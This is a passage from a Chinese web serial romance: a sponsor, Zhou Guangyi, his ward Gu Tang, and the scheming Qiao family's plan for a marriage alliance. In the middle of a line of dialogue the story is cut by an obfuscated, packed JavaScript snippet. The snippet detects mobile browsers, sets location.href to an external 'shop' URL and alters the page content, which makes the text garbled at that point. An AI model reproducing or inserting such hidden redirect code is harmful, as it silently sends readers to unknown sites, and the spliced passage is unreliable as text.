走廊尽头,客房门半掩,少年却停住,忽然打了个喷嚏,身子一晃,几乎扑进他怀里,他下意识伸手扶住,掌心贴上少年滚烫的额头,眉头微皱。 “你发烧了。” 少年慌忙后退,却被他一把扣住手腕。那截手腕细得让人心惊。 “我…我真的没事…” 周光轶拉着少年去客厅,把人摁到沙发上,毯子裹上去的瞬间,少年抖得更厉害了。 “想住多久就住多久。” 话一出口,他自己先怔住。 少年更是直接惊讶的抬头看他,泪水在眼眶打转,最终腿一软,整个人靠过来,额头抵在他肩窝处,像找到归巢的幼鸟。 顾棠就这么在周光轶家里住下了,两年间,见证了对方从一个上市公司的小职员混到了创业成功、势头正盛的商圈新贵。 如今顾棠已经20岁了,周光轶资助他去首都读了大学,自己则是留在了A市继续开疆扩土,积蓄家底。 从前是为了证明自己的能力,现在还有几分为顾棠的未来考虑的意味。 顾棠比他小了整整6岁,用对待同辈的态度对待对方很显然不合适,现在,他更多是将顾棠视为了自己的家人看待的。 20. 落魄主角攻被迫吃软饭(下) 两年时光像指间的沙,悄无声息地滑过。 周光轶的公寓早就不是从前那副冷清模样。阳台上晾着的白衬衫随风轻晃,厨房的橱柜里多了琳琅满目的零食,冰箱里永远存着新鲜的牛奶和顾棠爱吃的草莓味冰淇淋。 顾棠走的那天,周光轶开车送他去机场。 少年穿着简单的白T恤和牛仔裤,背着洗得发白的双肩包,站在安检口回头望他,眉眼清亮,笑容里带着少年人独有的意气风发。 “周哥,等我回来,一定让你刮目相看。” 周光轶站在原地,看着他的身影消失在人群里,心里空落落的,却又忍不住替他高兴。 这两年,顾棠像是被雨水浇灌的幼苗,飞速地抽枝长叶,褪去了当初的瘦弱和怯懦,长成了挺拔俊秀的模样。 他考上了首都最好的大学,学的是金融专业,眉眼间带着一股不服输的韧劲,和周光轶初见时那个缩在墙角的影子判若两人。 周光轶回到车里,指尖摩挲着方向盘,心里忽然泛起一阵酸涩。 他知道,顾棠长大了,有自己的路要走,有自己的未来要闯。而他,不过是顾棠人生路上的一个驿站,终有一天,顾棠会奔向更广阔的天地,再也不需要他的庇护。 这两年,他对顾棠的心思,早已悄然变了味。从最初的怜悯,到后来的心疼,再到如今,那份藏在心底的情愫,像疯长的藤蔓,早已将他的心脏紧紧缠绕。 他不敢说,也不能说。 顾棠对他,只有纯粹的感激和依赖,他怕自己的心思会吓跑这个少年,更怕破坏了如今这份安稳的关系。 车子缓缓驶出机场,手机铃声忽然响起。周光轶看了一眼来电显示,是合作方乔氏集团的总裁,乔振海。 “周总,晚上有空一起吃个饭吗?”乔振海的声音带着商人特有的圆滑,“有件事,想和你商量一下。” 周光轶皱了皱眉,还是应了下来。 晚上的饭局定在一家高级会所,包厢里灯火通明,水晶吊灯折射出璀璨的光芒。 乔振海身边坐着两个年轻人,一个穿着剪裁得体的西装,眉眼温润,嘴角噙着淡淡的笑意,正是乔氏集团的继承人,乔郁安。另一个则安静地坐在角落,低着头,手里拿着一支画笔,在素描本上涂涂画画,看起来有些孤僻。 乔振海笑着介绍:“周总,这是犬子乔郁安,小儿子乔郁霖。” 乔郁安站起身,主动伸出手:“周总,久仰大名。” 周光轶和他握了握手,目光落在角落里的乔郁霖身上。少年抬起头,露出一张清秀的脸,眼神平静的像是一潭死水,冷冷淡淡的。 大抵真实的乔家人就是这么冷漠的,只不过平时他们都隐藏的很好。周光轶想。 饭局过半,乔振海忽然话锋一转,看向周光轶:“周总,我今天请你来,是有件私事想和你谈谈。” 周光轶放下筷子,示意他继续。 “是这样的,”乔振海喝了口酒,笑容满面,“我家小儿子郁霖,性子腼腆,没什么主见。我看周总年轻有为,一表人才,不如……” 他话还没说完,就被乔郁安打断了。乔郁安端起酒杯,笑意盈盈:“爸,这种事,还是等周总吃完饭再说吧。” 乔振海瞪了他一眼,却也没再继续。周光轶心里隐隐有了数,无非是联姻的事。他没放在心上,只当是酒桌上的客套话。 饭局结束后,乔郁安主动提出送周光轶回去。车子行驶在夜色里,乔郁安忽然开口:“周总,我爸的话,你别往心里去。郁霖他……不太适合你。” 周光轶挑眉:“乔总这话是什么意思?” 乔郁安笑了笑,眼底却没什么温度:“没什么,就是觉得,周总这样的人,值得更好的。” 周光轶没接话。他总觉得,这个乔郁安,看起来温和无害,骨子里却藏着一股说不清道不明的野心。 车子停在公寓楼下,周光轶道了谢,转身走进楼道。他不知道的是,乔郁安看着他的背影,眼底闪过一丝扭曲的微光。 而另一边,首都的大学校园里,正是一派热闹的景象。 顾棠穿着志愿者的红马甲在礼堂后台忙着布置场地,明天,学校会邀请一位优秀校友回来演讲,听说还是乔氏集团的继承人。 顾棠手里拿着一叠宣传单,正低头整理着,忽然,眼前投下一片阴影,他一抬头就撞进一个温暖的怀抱。 “抱歉,抱歉。”顾棠连忙道歉,抬起头,撞进一双含笑的眼眸里。 男人穿着一身白色的西装,气质温润,笑容和煦,他看着顾棠,眼底闪过一丝惊艳,“没关系。你是这里的志愿者吗?” 顾棠点点头,脸颊微微发烫,“是的。学长,您是明天的演讲嘉宾吗?” 男人笑了笑,伸出手,“我叫乔郁安。很高兴认识你,小师弟。” 顾棠愣了一下,连忙伸出手,“乔学长好,我叫顾棠。” 乔郁安的掌心温暖干燥,握着他的手,微微用力,顾棠有些不自在地想抽回手,却被乔郁安轻轻按住。 “顾棠,”乔郁安念着他的名字,语气温柔,“很好听的名字。” 顾棠的脸更红了,连忙抽回手,低下头,不敢看他的眼睛。 乔郁安看着他泛红的耳尖,眼底的笑意更深了,他指了指顾棠手里的宣传单:“这些,需要帮忙吗?” “不用了,不用了。”顾棠连忙摆手,“我自己来就好。” 乔郁安也没强求,只是站在一旁,看着他忙碌的身影。 夕阳透过窗户,洒在顾棠的身上,给他镀上了一层金色的光晕。少年的侧脸线条干净利落,睫毛纤长,微微低垂着,像一只乖巧的小兽。 乔郁安的心跳,忽然漏了一拍。 他见过形形色色的人,却从未见过这样干净纯粹的少年。像是一道光,猝不及防地照进了他沉寂多年的心湖。 演讲结束后,乔郁安以学长的名义,约顾棠一起吃饭,顾棠本想拒绝,却架不住乔郁安的热情。 饭桌上,乔郁安很会聊天,从学业聊到生活,句句都能说到顾棠的心坎里。 顾棠渐渐放下了防备,和他聊了起来,他说起自己的大学专业,说起自己未来的规划,眼里闪烁着光芒。 “我想快点做出成绩,”顾棠抿了抿唇,语气认真,“我有一个很重要的人,我想报答他。” 乔郁安的眼神暗了暗,不动声色地问:“是你的家人吗?” “不是,”顾棠摇了摇头,“是我的资助人。他叫周光轶,是个很好的人。如果不是他,我现在还不知道在哪里流浪。” 提到周光轶的名字时,顾棠的眼里满是感激和敬重,那眼神刺痛了乔郁安的眼睛。 他垂下眼帘,端起酒杯,轻轻抿了一口,语气平淡,“资助人吗?说句实话,顾棠,你有没有想过,他为什么要对你这么好?” 顾棠愣了一下,不解地看着他,“为什么?因为他是个好人啊。” 乔郁安笑了笑,笑容里带着一丝不易察觉的嘲讽。 “好人?这个世界上,哪有那么多无缘无故的好人。他帮你,资助你,说不定,是看中了你的什么呢。” 顾棠的眉头皱了起来,“乔学长,你这话是什么意思?” “没什么意思,”乔郁安放下酒杯,语气轻飘飘的,“我只是觉得,你太单纯了。人心隔肚皮,有些人,表面上对你好,背地里指不定在打什么主意呢。你想想,他一个事业有成的男人,为什么要收留一个素不相识的少年?还供你读书,给你钱花。” 顾棠的脸色沉了下来。 他猛地站起身,看着乔郁安,眼神冰冷,“乔学长,我不许你这么说周哥。他不是那样的人。” 乔郁安看着他生气的模样,心里却越发满意。 他要的,就是这种效果,他要让顾棠对周光轶产生怀疑,让顾棠知道,只有自己,才是真心对他好的人。 “我只是提醒你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479745|201669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而已,”乔郁安摊了摊手,一脸无辜,“你别生气。我也是为了你好。” 顾棠没再理他,拿起放在一旁的背包转身就走,走出餐厅的那一刻,顾棠的心里,对乔郁安的好感,瞬间荡然无存。 他不知道乔郁安为什么要这么说周哥,但是他知道,周光轶对他的好,是发自内心的。 是周光轶,在他最绝望的时候,给了他一碗热包子,给了他一个遮风挡雨的家,这份恩情,他一辈子都不会忘记。 从那以后,顾棠刻意避开了乔郁安,无论乔郁安怎么约他,他都找借口拒绝,乔郁安也没再过多纠缠,只是偶尔会在校园里偶遇,笑着和他打招呼,眼底的深意,却让顾棠越发觉得不舒服。 放暑假的时候,顾棠迫不及待地回了A市。 他提着行李箱,站在周光轶的公寓楼下,心里满是期待,他掏出钥匙,正准备开门,忽然听见隔壁传来一阵细微的响动。 顾棠好奇地转过头,看见隔壁的门开了一条缝,一个少年正蹲在门口,手里拿着一支画笔,在地上的画纸上涂涂画画。 少年的头发软软的,遮住了眉眼,穿着宽松的卫衣,看起来有些单薄,顾棠认出他,是上次在饭局上见过的乔郁霖。 顾棠犹豫了一下,还是走了过去,他低头看向少年的画纸,眼睛瞬间亮了起来。 画纸上,是一幅夕阳下的街道,昏黄的路灯,飘落的梧桐叶,还有一对牵手散步的情侣。笔触细腻,色彩温暖,充满了浪漫的气息。 “你画得真好。”顾棠忍不住赞叹道。 乔郁霖吓了一跳,手里的画笔掉在了地上。他猛地抬起头,看见顾棠的笑脸,眼神里充满了惊慌和无措。 “我……我随便画画的。”乔郁霖的声音很小,像蚊子哼哼。 “随便画画都这么厉害,”顾棠蹲下身,捡起画笔递给他,笑容真诚,“你很有天赋,这幅画特别好看。” 乔郁霖的眼睛微微睁大,看着顾棠。 他从小就喜欢画画,但是家里人都不支持,父亲说画画没出息,哥哥说他不务正业,这还是第一次,有人这么真诚地夸奖他的画。 少年的脸颊微微泛红,小声道,“谢谢。” 顾棠笑了笑,和他聊了起来,他发现,乔郁霖虽然性格孤僻,但是说起画画,眼睛里就会闪烁着光芒。 两个人聊得很投机,从印象派聊到写实派,从梵高聊到莫奈。 夕阳渐渐落下,余晖洒在两个人的身上,温暖而惬意。 从那以后,顾棠每天都会去找乔郁霖,两个人坐在公寓楼下的长椅上,一个画画,一个看书,偶尔聊上几句,气氛宁静而美好。 乔郁霖看着顾棠的侧脸,心里悄悄埋下了一颗种子。 他喜欢顾棠的笑容,喜欢顾棠说话的声音,喜欢顾棠认真看书时的模样。这份喜欢像破土而出的嫩芽,在他心底疯狂地生长。 日子一天天过去,周光轶看着顾棠每天和乔郁霖待在一起,心里隐隐有些不安。 他总觉得,乔家的人,都不是那么简单,但是看着顾棠开心的样子,他又不忍心说什么。 直到那天,周光轶收到了一封来自乔家的邀请函。 邀请函是乔振海亲手送来的,烫金的信封上,印着乔家的标志,周光轶打开信封,里面的内容,让他瞬间愣住了。 乔家竟然是想联姻。 不是和他,是和顾棠。 邀请函上写着,乔家愿意出巨资,资助顾棠创业,条件是顾棠必须娶乔家的一个儿子。 乔郁安,或者乔郁霖。 周光轶独自去赴了约,到了乔家,乔振海正坐在客厅喝着茶。 “乔总,你这是什么意思?” 乔振海笑了笑,一脸的理所当然,“周总,这是一笔双赢的交易,顾棠是个好苗子,我们乔家很看好他,他娶了我的儿子,以后就是乔家的人,乔家会全力支持他。而你也可以放心了,他的未来,会一片光明。”